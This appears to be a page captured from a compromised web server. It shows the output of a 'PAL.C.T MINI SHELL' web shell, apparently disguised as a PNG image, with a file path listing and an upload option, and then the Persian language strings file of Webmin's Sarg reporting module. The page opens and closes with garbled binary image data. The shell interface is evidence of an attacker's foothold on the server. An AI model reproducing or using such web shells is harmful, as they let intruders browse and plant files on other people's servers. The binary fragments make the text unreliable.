php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/sarg/lang/
upload
files >> //usr/libexec/webmin/sarg/lang/fa

index_econf=پرونده پيکربندي Sarg $1 بر روي سيستم شما پيدا نشد. شايد Sarg نصب نشده باشد، يا اينکه <a href='$2'>پيکربندي پيمانه</a> نادرست مي‌باشد.
index_ecmd=برنامه Sarg $1 بر روي سيستم شما يافت نشد. شايد نصب نشده باشد، يا اينکه <a href='$2'>پيکربندي پيمانه</a> نادرست مي‌باشد.
index_eversion=عدم موفقيت در بدست آوردن نسخه Sarg توسط فرمان $1 : $2
index_version=نسخه Sarg $1
index_generate=تهيه کردن گزارش
index_generatedesc=براي تهيه يک گزارش فوري Sarg در $1 با استفاده از پيکربندي جاري اين دگمه را فشار دهيد.
index_clear=آيا گزارش موجود در فهرست راهنما حذف شود؟
index_range=تهيه گزارش براي گستره زماني
index_view=نماي گزارش تخليه شده
index_viewdesc=نمايش دادن بيشتر گزارشهايي که اخيراً تهيه شده‌اند در فهرست راهنماي $1.
index_return=شاخص پيمانه

log_title=ثبت کردن مبدا و مقصد گزارش
log_header=مبدا پرونده ثبت Squid و گزينه‌هاي گزارش تهيه شده
log_access_log=مبدا پرونده ثبت Squid
log_other=ديگر پرونده‌ها
log_output_dir=مقصد فهرست راهنماي گزارشگيري
log_output_email=ارسال گزارش توسط پست الکترونيکي به
log_nowhere=هيچ کجا
log_useragent_log=پرونده ثبت مرورگر
log_lastlog=تعداد گزارشها جهت نگهداري
log_unlimit=نامحدود
log_mail_utility=فرمان ارسال پست الکترونيکي
log_remove_temp_files=آيا بعد از گزارشگيري پرونده‌هاي موقت حذف شوند؟
log_err=عدم موفقيت در ذخيره کردن گزينه‌هاي ثبت مبدا
log_efile=پرونده وجود ندارد
log_edir=فهرست راهنما وجود ندارد
log_elastlog=شماره ناپيدا است يا وجود ندارد
log_eemail=نشاني پست الکترونيکي بنظر نامعتبر يا ناپيداست
log_emailx=برنامه پست الکترونيکي وجود ندارد يا ناپيداست

style_title=سبک گزارش
style_header=سبک گزارشHTML و گزينه‌هاي رنگ
style_title2=عنوان گزارش
style_font_face=خانواده حروف بدنه گزارش
style_header_color=رنگ سرآيند
style_header_bgcolor=رنگ زمينه سرآيند
style_header_font_size=اندازه خانواده حروف سرآيند
style_background_color=رنگ زمينه
style_text_color=رنگ متن
style_text_bgcolor=رنگ زمينه متن
style_title_color=رنگ عنوان
style_logo_image=مرجع تصوير براي لوگو
style_image_size=اندازه تصوير (عرض و ارتفاع)
style_logo_text=متن براي لوگو
style_logo_text_color=رنگ آميزي متن براي لوگو
style_background_image=مرجع تصوير براي زمينه
style_err=عدم موفقيت در ذخيره گزينه‌هاي سبک گزارش
style_etitle=عنوان گزارش ناپيداست
style_ecolour=نام رنگ يا کد RRGGBBناپيدا يا نامعتبر است
style_efontsize=اندازه جبراني خانواده حروف ناپيدا يا نامعتبر است
style_esize=عرض و ارتفاع تصوير ناپيدا يا نامعتبر است
style_language=زبان گزارش
style_charset=مجموعه کاراکترهاي گزارش

report_title=گزينه‌هاي گزارش
report_header=محتواي گزارش و گزينه‌هاي نسل
report_resolve_ip=آيا نشانيهاي IP تبديل شوند؟
report_user_ip=آيا بجاي IDکاربران از نشانيهاي IPاستفاده شود؟
report_user_sort_field=ترتيب گزارش کاربر
report_topuser_sort_field=تريب گزارش کاربران بالا
report_reverse=با ترتيب معکوس
report_forward=با ترتيب پيشرو
report_by_user=با اسم‌کاربر
report_by_connect=با زمان اتصال
report_by_bytes=با بايتها
report_by_time=با زمان
report_by_site=باسايت
report_exclude_users=****پرونده کاربران فهرست شده جهت محروم کردن exclude
report_exclude_hosts=پرونده ميزبانها جهت محروم کردن
report_index=آيا پرونده <tt>index.html</tt>مجددا توليد شود؟
report_only=فقط <tt>index.html</tt>توليد شود
report_overwrite_report=آيا گزارش براي تاريخ رونويسي شود؟****Overwrite report for date?
report_overno=خير، تغيير نام با.1
report_records_without_userid=آيا جهت ثبت بدون کاربر اقدام شود؟
report_ignore=چشم پوشي کلي**Totally ignore
report_ip=استفاده از نشاني IP بجاي
report_everybody=استفاده از اسم‌کاربر <tt>هر کسي</tt>
report_use_comma=آيا در شماره‌ها بجاي. از کاما استفاده شود؟
report_topsites_num=تعداد سايتهاي بالا جهت نمايش دادن
report_topsites_sort_order=ترتيب براي گزارش سايتهاي بالا
report_sorta=صعودي
report_sortd=نزولي
report_index_sort_order=ترتيب براي پيوندها در <tt>index.html</tt>
report_exclude_codes=پرونده کدهاي HTTP فهرست شده جهت محروم کردن
report_max_elapsed=بيشينه زمان سپري شده (ms)
report_report_type=قسمتهاي گزارش براي توليد
report_topsites=سايتهاي بالا
report_sites_users=سايتها توسط کاربر
report_users_sites=کاربران به‌وسيله سايت
report_date_time=کاربرد با روز و ساعت
report_denied=سايتهاي ممنوع
report_auth_failures=عدم موفقيت در تاييد اعتبار
report_site_user_time_date=سايتها، تاريخها، زمانها و بايتها
report_all=همه گزارشها
report_below=انتخاب شده‌هاي زير..
report_usertab=پرونده نگاشت اسم‌کاربر
report_long_url=آيا در گزارش URLهاي کامل نمايش داده شوند؟
report_date_time_by=مرتب‌سازي تاريخ/زمان گزارش توسط
report_bytes=بايتها
report_elap=زمان سپري شده
report_user_invalid_char=نويسه‌هاي نامعتبر در اسم‌کاربرها
report_privacy=آيا سايتهاي ملاقات شده پنهان شوند؟
report_privacy_string=جايگزيني متن براي سايتهاي ملاقات شده
report_privacy_string_color=رنگ متن جايگزين
report_below2=وارد شده در زير..
report_include_users=فقط براي کاربران توليد شود
report_exclude_string=محروم کردن ثبت خطوط حاوي
report_allusers=همه کاربران
report_nostrings=همه محروم نشوند
report_topuser_num=تعداد کاربران بالا جهت نمايش دادن
report_site_user_time_date_type=سايت، کاربر، ‌قالب جدول زمان و تاريخ
report_table=جدول HTML 
report_list=فهرست متن
report_displayed_values=نمايش عبور و مرور از
report_bytes2=بايتها
report_abbrev=مخفف (K، M، G)
report_weekdays=روزهاي هفته براي شامل شدن در گزارش
report_weekdays0=$sday_0
report_weekdays1=$sday_1
report_weekdays2=$sday_2
report_weekdays3=$sday_3
report_weekdays4=$sday_4
report_weekdays5=$sday_5
report_weekdays6=$sday_6
report_hours=ساعتها براي شامل شدن در گزارش
report_err=عدم موفقيت در ذخيره کردن گزينه‌هاي گزارش
report_efile=پرونده وجود ندارد
report_enum=يک شماره نيست
report_echar=فاصله مجاز نمي‌باشد
report_estring=متن جايگزين نامعتبر يا ناپيداست
report_eselect=هيچ چيز انتخاب نشده‌است
report_eenter=چيزي وارد نشده‌است

sched_title=توليد گزارش برنامه ريزي شده
sched_header=گزينه‌هاي گزارش‌دهي برنامه ريزي شده
sched_sched=آيا فعال سازي گزارش برنامه ريزي شود؟
sched_yes=بله،‌ در زمان انتخابي زير..
sched_clear=آيا هر بار** فهرست راهنماي گزارش پاک شود؟
sched_dir=فهرست راهنماي گزارش
sched_edir=هيچ مقصدي براي فهرست راهنماي گزارشگيري در صفحه <a href='$1'>$log_title</a> تعريف نشده‌است. اين کار بايد قبل از فعال شدن گزارش‌دهي برنامه ريزي شده تنظيم شود. This must be set before scheduled reporting can be enabled.
sched_range=توليد گزارش براي گستره‌اي از تاريخ
sched_rall=همه رکوردهاي درون پرونده ثبت
sched_rsel=آن برگه‌ها $1 در $2 روزهاي پيش
sched_err=عدم موفقيت در ذخيره کردن توليد گزارش زمانبندي شده
sched_erfrom=شماره آغاز روزهاي قبل ناپيدا يا نامعتبر است
sched_erto=شماره پايان روزهاي قبل ناپيدا يا نامعتبر است

view_title=گزارشSarg
view_efile=نام پرونده نامعتبر است!
view_eopen=عدم موفقيت در باز کردن پرونده گزارش

gen_title=توليد گزارش
gen_header=توليد گزارش Sarg از روي پرونده ثبت Squid $1 و همهء نسخه‌هاي دوران داده شده..
gen_done=..انجام شد
gen_failed=.. عدم موفقيت در Sarg! براي جزئيات بروندار بالا را مشاهده کنيد.
gen_nothing=.. Sarg به اتمام رسيد، اما هيچ گزارشي توليد نشد. براي جزئيات بروندار بالا را مشاهده کنيد.
gen_view=نمايش گزارش کامل شده.
gen_err=عدم موفقيت در توليد گزارش
gen_efrom=از روز ناپيدا يا نامعتبر است
gen_eto=به روز ناپيدا يا نامعتبر است

webmin_log_log=منبع ثبت و گزينه‌هاي توليد گزارش به‌هنگام شد
webmin_log_report=گزينه‌هاي گزارش به‌هنگام شد
webmin_log_style=گزينه‌هاي سبک گزارش به‌هنگام شد
webmin_log_sched_create=فعال شدن گزارش‌دهي برنامه ريزي شده
webmin_log_sched_delete=غيرفعال شدن گزارش‌دهي برنامه ريزي شده
webmin_log_sched_update=گزارش‌دهي برنامه ريزي شده به‌هنگام شد
webmin_log_sched_nothing=گزارش‌دهي برنامه ريزي شده چپ
webmin_log_generate=گزارش توليد شده‌است
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`